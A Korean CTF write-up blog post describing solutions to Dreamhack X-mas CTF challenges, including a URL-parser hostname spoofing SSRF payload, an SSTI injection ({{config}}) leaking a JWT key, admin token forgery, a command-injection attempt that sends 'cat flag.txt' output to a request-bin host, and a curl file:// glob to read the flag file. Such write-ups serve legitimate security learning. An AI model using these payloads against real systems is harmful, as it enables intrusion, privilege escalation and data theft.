Dreamhack X-mas CTF에 참여했다
웹 2문제와 misc 1문제를 풀었는데 그중 웹 문제가 재미있었다
전체적인 문제 난이도는 상당히 어렵게 느껴졌고 아직도 갈길이 멀다고 생각했다
최종 마무리는 56등으로 마쳤고 내년에는 더 높은등수로 마무리하고싶다
현재는 1레벨로 평가되는 misc문제다
문제파일이 제공되고 링크도 주어졌다
우선 링크를 먼저 확인해보자
leet-speak라는게 아마도 비슷한 모양의 글자를 말하는 것 같다
뭔지 대충 확인해봤으니 문제파일도 열어보자
the
글자와 iskey
라는 글자의 leet-speak를 통해서 키값을 계산하고 일치하는 부분이 있으면 플래그를 만들어내는 코드처럼 보인다
해당 코드의 로직을 알고나니 생각보다 단순한 문제라고 느껴졌고 바로 코드수정에 들어갔다
the
에 해당하는 모든 경우의 수와 iskey
에 해당하는 모든 경우의 수를 다 체크할 수 있도록 gpt한테 코드를 짜달라고 한 결과가 아래의 코드다
velog필터링때문에 못올립니다 ㅠ
이렇게하면 링크에서 확인했던 leek-speak를 모두 체크해볼 수 있다
코드를 실행하면 아마도 플래그가 출력될 것이다
그다음은 간단한 웹 문제를 풀었다
지금은 2레벨로 되어있는데 적당한 레벨로 정해진 것 같다
문제 이름과 문제 설명으로 뭔가 힌트를 주는 것 같지만 전혀 모르겠다
일단 웹에 접속을 해보자
Hello! 라는 글자만 보이고 특별한건 없어보인다
페이지 소스코드를 확인해보자
어떠한 힌트도 얻을 수 없다
제공된 문제파일을 확인해보자
/fetch
라는 페이지가 존재하는걸 알 수 있고 url
파라미터를 통해 무언가 입력을 받는걸 확인할 수 있다
그리고 플래그는 쿠키에 담겨진채로 get요청을 어딘가로 하는걸 알 수 있다
좀 더 자세히 알아보자
URL모듈을 통해서 입력받은 url로 객체를 만들고 파싱을 진행하는 것 같다
그리고 .hostname을 변수로 할당한 후 host가 localhost이면서 localhost로 끝나야 rejected로 return되지 않는다
즉, localhost로만 입력이 가능하다는 말이다
하지만 이부분을 조금 생각해보면 문제의도를 알 수 있다
URL을 통해서 입력받은 url을 파싱하는 과정에서 뭔가 트릭이 발생할 수 있다고 생각했다
검색한 결과 토스에서 이런 글을 작성한걸 찾았다
자세한 내용은 아래 링크를 통해 확인할 수 있다
결론만 말하면 WHATWG URL API
와 url.parse()
간의 파싱 결과 차이를 이용해 hostname spoofing
이 가능하다는 것이다
우연히도 토스에서 예시를 들어준 시나리오가 이번 문제의 의도와 상당히 비슷하다
payload
/fetch?url=http://ehtlnsj.request.dreamhack.games!localhost
이렇게 적어주게 되면 URL에서는 hostname을 localhost로 파싱하게 되고 입력값이 localhost로 끝나게되기 때문에 조건값을 문제없이 통과할 수 있게된다
dreamhack의 request bin을 확인해보면 쿠키값에 플래그가 담아져서 전달된걸 확인할 수 있다
마지막으로 해결한 웹문제다
풀면서 상당히 재미있었던 문제다
지금은 5렙으로 되어있는데 내생각엔 3~4렙정도가 적당해 보인다
API서버로 공격을 하지 말라는것 말곤 특별한 힌트는 없어보인다
웹 서버로 접속해보자
인덱스 페이지이다
왼쪽의 메뉴는 동작하지않고 오른쪽의 Dashboard메뉴는 login을 해야한다
로그인을 시도해보자
admin"#
을 통해 SQL injection을 시도해봤다
Blacklist Word라면서 필터링이된다
여기서부터는 제공된 코드를 확인해야할 것 같다
우선 Dockerfile 부터 확인해봤다
여기서 특이한점은 flag.txt
파일을 flag_$FLAG.txt
파일로 이름을 변경하는 것이다
$FLAG
는 임의의 알파벳소문자 4개로 구성된 변수이다
flag.txt
파일이 변경되었다는건 나중에 참고해야할 부분이니 기억해두고 다른 코드를 확인해보자
main.py
의 앞부분이다
JWT를 사용해서 사용자 인증을 처리하는걸 알 수 있고
계정은 admin계정과 guest계정이 존재하는걸 알 수 있다
아마도 admin으로 로그인을 시도하거나 jwt토큰변조를 통해 admin의 권한을 얻어야 할 것 같다
코드를 좀 더 확인해보자
아까 확인한 Blacklist Word라는게 정규표현식을 통한 필터링이었다는걸 알 수 있다
근데 여기서 특이한점이 정규표현식을 알파벳만 확인하는게 아니라 중괄호가 포함되어있다는 걸 확인했다
문제 출제자가 어떤걸 의도했길래 굳이 저 중괄호는 가능하게 했는지 고민을 하는 중에 아래쪽에 {form_id} is not registered...
부분에 템플릿형태로 렌더링을 하는걸 보고 왜 중괄호를 허용했는지 알게됐다
즉, SSTI가 가능하다는 말이고, SSTI를 통해 config정보를 확인해서 JWTKey를 알아낸다면 JWT변조를 통해 admin의 권한으로 웹 서버를 이용할 수 있게 된다
{{config}}
를 입력해서 SSTI를 발생시켜보자
이부분에서 config에 JWTKey를 넣었기때문에 확인이 가능할 것이다
예상대로 config정보에 JWTKey값이 들어있는걸 확인할 수 있다
JWTKey값을 알았으니 이제 JWT를 어떻게 변조해야 admin권한을 가질 수 있는지 확인해보자
아까 login을 해야만 접근이 가능했던 Dashboard
기능이다
jwt
의 id
가 admin
이고 isAdmin
이 True
여야만 admin.html
페이지에 접근이 가능하다
이제 어떻게 변조해야하는지도 알았으니 일단 guest로 로그인해서 jwt토큰을 받아보자
auth라는 이름으로 jwt토큰을 받았다
이걸 이제 jwt.io에서 확인해보자
PAYLOAD
부분을 보면 id가 guest로 되어있고 isAdmin이 false로 되어있다
이부분을 admin과 True로 수정한 다음 시그니처부분에 아까 확인한 JWTKey값을 넣어주면 변조에 성공할 것이다
변조한 토큰을 넣어주고 Dashboard페이지에 접근을 해보자
접근에 성공한다면 admin권한탈취에 성공한 것이다
Dashboard페이지에 접근을 성공했다
이제 admin권한으로 웹서버를 마음껏 사용할 수 있지만 Dashboard페이지에서는 flag파일을 읽어올만한 취약점은 존재하지 않아보인다
다른 페이지를 살펴보자
/api/metar
엔드포인트의 코드다
코드 초반을 보면 count변수로 뭔가 접근을 제한하는걸로 보인다
시도를 많이하다보면 어느 순간 더이상 해당 페이지 이용에 제한이 걸리는 것 같다
아마도 bruteforce를 막기위한 의도로 보인다
코드 중반을 보면 jwt토큰의 인증을 통해 admin권한을 확인한 후,
airport 파라미터로 입력값을 받아 subprocess.run
을 통해 curl로 결과값을 받아오는걸 알 수 있다
여기서 command injection이 가능할거라고 판단했고 바로 아래의 payload를 작성해 flag를 읽어오려고 시도했다
payload
?airport=https://dsnuxrz.request.dreamhack.games/$(cat flag.txt)
하지만 이렇게 해도 아무런 반응이없다
$(cat flag.txt)
이 부분에서 공백이 존재하기 때문에 오류가 발생한다고 생각했고, 쉘 명령어에서 공백을 대체할 방법을 찾아 payload를 수정했다
$IFS
가 공백문자를 정의하는 환경변수라고 한다
payload
?airport=https://dsnuxrz.request.dreamhack.games/$(cat$IFSflag.txt)
여기서 이상함을 느꼈고, 쉘이 동작하지 않는건가? 라는 생각이 들어 코드를 다시 확인했다
shell의 인자값이 False로 설정되어있어 명령어가 동작하지 않는다
그래서 flag를 읽어 웹훅사이트로 보내는건 불가능하다고 판단했고 다른 방법을 생각했다
파일을 읽어오는게 목적이니 file://
스키마를 사용해 curl로 받아오는게 가능한가? 라는 생각이 들었고 바로 시도해봤다
payload
?airport=file://localhost/deploy/package.json
여기서 /deploy/package.json
으로 한 이유는 제공된 문제파일에 이런식으로 경로가 설정되어 있었기 때문이다
제공된 문제파일의 내용과 해당 payload를 통해 읽어온 파일의 결과가 같은걸 확인할 수 있다
서버의 파일을 읽어오는게 가능하다는걸 확인했으니 이제 flag파일만 읽어오면 된다
하지만, Dockerfile에서 flag.txt
를 flag_(임의의 4자리 소문자).txt
로 바꿨기 때문에 해당 파일의 이름을 알아내기는 쉽지않다
검색을 하던 도중 정규표현식을 사용해서 여러개의 파일을 동시에 탐색하는게 가능하다고 해서 바로 시도해봤다
payload
?airport=file://localhost/deploy/flag_[a-z][a-z][a-z][a-z].txt
위의 payload를 사용해서 플래그 파일을 읽어오면 시간이 조금 걸린 후 플래그가 출력되는걸 확인할 수 있다